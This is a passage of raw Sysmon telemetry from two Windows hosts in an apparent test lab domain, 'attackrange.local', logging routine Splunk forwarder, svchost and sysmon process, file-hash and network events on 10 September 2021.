Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.019{7BD73061-70E8-613B-1C0B-00000000F001}6824C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015071Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:21.846{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=06056057B221E517425E0F19C798B9A4,SHA256=0B56C386EC66AF90B8879BA2170BF5F1A994E09419623373F5EEB3162B4CCBD7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:21.784{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70E9-613B-1E0B-00000000F001}6352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:21.768{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:21.768{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:21.768{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:21.768{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:21.768{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-70E9-613B-1E0B-00000000F001}6352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:21.768{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70E9-613B-1E0B-00000000F001}6352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:21.769{7BD73061-70E9-613B-1E0B-00000000F001}6352C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:21.737{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80B079748F8A9E948E96D8BF81CF7ABD,SHA256=D391C0D4C09FEA14B2422091D6C2970B9BEEE69A85AB526BD59EE4873FAFE011,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015072Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:22.861{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3E1FC3F3DBFF72F56850E40D3C279D12,SHA256=F5055CA9080C032428328F60CB77FCE5C3C0EF51A88C77E9325F5DA557847542,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:22.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4E83737F032230B950CA8D2ECE1EEE49,SHA256=B5EFC673881BB80121EEF3653040561F5545DABF367D011C23EEE7D53B7962D3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:22.799{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C29AE799C0AA205E3259F3F96817C3B3,SHA256=09A24EC4B5F2FEFFF6CBFE184EB9F602ABFC71C94402E17D012F4B0BCA47E816,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:23.831{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E59E7CE37015DBC0ACCFB7E8B1FA6BAE,SHA256=3748D360F9099A8BA7E82E8C26A3F544DFF1125D6385ED55FF06923AAD628593,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015073Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:23.877{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC6A3A665246A2669E7F4B68720082DC,SHA256=A86E7938841DF6942EFA9F1534A6D335E10C31BD44D4002535C587494874B4D9,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:20.549{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59393-false10.0.1.12-8000- 23542300x800000000000000047511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:24.862{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C704B7B7663639A494371C1BD3D98D8D,SHA256=BBE2E5A896DD2CF3EAB115C28CA0591BE5E47CB859B034AA00D62F5A2AB3DFB0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015074Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:24.893{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B21FF24D8131016F4216D554647750A9,SHA256=5F718D60E6DB785DBC7E6A408D4CDE9450ADF6B2DABB516FC34B486320706623,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015075Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:25.893{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ECE845BC8EE4CC0F24CF34AF672321D3,SHA256=63F18400A4868B59CE0D9BF85C6AEB32B73797F871DCF8D67D474FEBBF646723,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015076Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:26.908{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DACD18CBA13F7AA0D0086C8F5577C64A,SHA256=3E9B8E2EF44196CBA08949C933800F5355EFFC775C19F730A886EF1D2C6A981A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:26.034{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7BC5B565E1D8747D307121353875742C,SHA256=A52102898325E9C289C43124DB5005A08B26C7E0C54FC37AE080596BA52EAF02,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015078Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:27.924{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=91C19CA7BD7D2FA375776369610623E4,SHA256=8C8514832B60CC29E4BB761CEA22A24DE7F09C9A69189AC12CE90FCB98BB56A6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:27.206{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=79D59298192386AD3D5472CE2DA38212,SHA256=F85BFD2A0892B8B61AC1C3A740F4078A107D060D5C650FCAE48D76208FBDA302,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015077Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:25.343{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50203-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015079Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:28.939{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=73E836AA4898C4291340EAB74D3921A5,SHA256=14391891117D71323304EB611DF43214846E8B3CC82C326694C05A72021E9CF6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:28.440{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=663EBE0769440CE2DDCE7B61CE9B90C4,SHA256=7980F067D04394B865ED2C1CF62A667847E01953C3CDB56F4818E74322EDC4CF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015080Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:29.955{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E208B5344057493C5D6F2951FEB1A259,SHA256=3A2922BBB1268310397FB0B87B44D17FDF356ACD5F01F685651F8508BD7F303A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:29.659{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:29.518{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=05F83FFA977FE31FAD93F720E27DE632,SHA256=5751C0259D6EAA6369ADEC9DE5F49EB1A0145E6DA5F71BF2093FA05DDF96F011,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:29.487{7BD73061-65B2-613B-0D00-00000000F001}8923128C:\Windows\system32\svchost.exe{7BD73061-6D0E-613B-8C06-00000000F001}4864C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:29.487{7BD73061-65B2-613B-0D00-00000000F001}8923128C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000047515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:26.533{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59394-false10.0.1.12-8000- 23542300x800000000000000015081Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:30.958{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BF70D8A83D3C584AB34AC3B5068B655E,SHA256=BA2A8E9811AD0117EF7E9EF7FD4ADB8F3CBC50898E27A51492C23E85960903EE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:30.565{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EEA9CB20D1C4D8ECB17BF44B6469AF3,SHA256=29ADCE74AD3F113AE1AEAAE566488A1A211B3FDEBC42A9FF91651513793BFB61,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015095Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.973{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=96E4DF8F0A4A6CDF93B3E3F45EDCA1E7,SHA256=4995279B9A857221457B0275ED5E5EE9DF37D1AB51B17EC44BF7147126A56116,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:31.677{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=13134CD5E29AE69AAE1614B844B5FC94,SHA256=4D815D59C81291F12E9FD38A14F729B38740254CFFB25ADE354D0DBD2BB81DD4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:28.955{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59395-false10.0.1.12-8089- 10341000x800000000000000015094Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70F3-613B-C504-00000000F101}2328C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015093Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015092Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:31.739{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015091Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 